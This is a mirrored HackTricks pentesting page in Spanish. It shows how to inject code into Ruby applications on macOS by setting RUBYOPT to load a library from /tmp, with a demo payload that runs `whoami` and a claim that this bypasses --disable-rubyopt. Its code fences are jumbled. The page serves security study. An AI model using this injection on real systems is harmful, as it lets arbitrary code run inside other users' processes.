mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-11 13:56:22 +00:00
60 lines
3.2 KiB
Markdown
60 lines
3.2 KiB
Markdown
|
# Inyección en Aplicaciones Ruby de macOS
|
||
|
|
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
|
||
|
|
Otras formas de apoyar a HackTricks:
|
||
|
|
|
||
|
|
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
|
||
|
|
</details>
|
||
|
|
|
||
|
|
## RUBYOPT
|
||
|
|
|
||
|
|
Usando esta variable de entorno es posible **añadir nuevos parámetros** a **ruby** cada vez que se ejecuta. Aunque el parámetro **`-e`** no se puede usar para especificar código ruby a ejecutar, es posible usar los parámetros **`-I`** y **`-r`** para añadir una nueva carpeta al camino de carga de las bibliotecas y luego **especificar una biblioteca para cargar**.
|
||
|
|
|
||
|
|
Crea la biblioteca **`inject.rb`** en **`/tmp`**:
|
||
|
|
|
||
|
|
{% code title="inject.rb" %}
|
||
|
|
```ruby
|
||
|
|
puts `whoami`
|
||
|
|
```
|
||
|
|
```markdown
|
||
|
|
{% endcode %}
|
||
|
|
|
||
|
|
Crea en cualquier lugar un script de ruby como:
|
||
|
|
|
||
|
|
{% code title="hello.rb" %}
|
||
|
|
```
|
||
|
|
```ruby
|
||
|
|
puts 'Hello, World!'
|
||
|
|
```
|
||
|
|
```markdown
|
||
|
|
Luego, haz que un script de ruby arbitrario lo cargue con:
|
||
|
|
```
|
||
|
|
```bash
|
||
|
|
RUBYOPT="-I/tmp -rinject" ruby hello.rb
|
||
|
|
```
|
||
|
|
Dato curioso, funciona incluso con el parámetro **`--disable-rubyopt`**:
|
||
|
|
```bash
|
||
|
|
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
|
||
|
|
```
|
||
|
|
<details>
|
||
|
|
|
||
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
|
||
|
|
Otras formas de apoyar a HackTricks:
|
||
|
|
|
||
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
|
||
|
|
</details>
|